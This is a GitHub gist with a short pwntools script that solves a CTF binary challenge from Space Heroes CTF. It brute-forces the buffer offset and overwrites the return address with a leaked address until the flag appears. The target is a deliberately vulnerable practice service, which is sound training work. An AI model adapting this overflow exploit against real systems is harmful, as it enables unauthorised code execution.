Skip to content

Instantly share code, notes, and snippets.

@jktrn
Created June 13, 2022 20:34
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save jktrn/dd861b378b859a0588b48c71ad9fbf45 to your computer and use it in GitHub Desktop.
Save jktrn/dd861b378b859a0588b48c71ad9fbf45 to your computer and use it in GitHub Desktop.
Solve for the pwn/binary challenge "Warmup to the Dark Side" from the Space Heroes CTF competition.
from pwn import *
for i in range(32,128):
p = remote("0.cloud.chals.io", 30096)
address = p.readlineS()[112:126]
log.info("Trying offset " + str(i) + " for address " + address)
p.sendline(b'A'*i + p64(int(address, base=16)))
output = p.recvallS()
if "shctf" in output:
log.success(output)
break
p.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment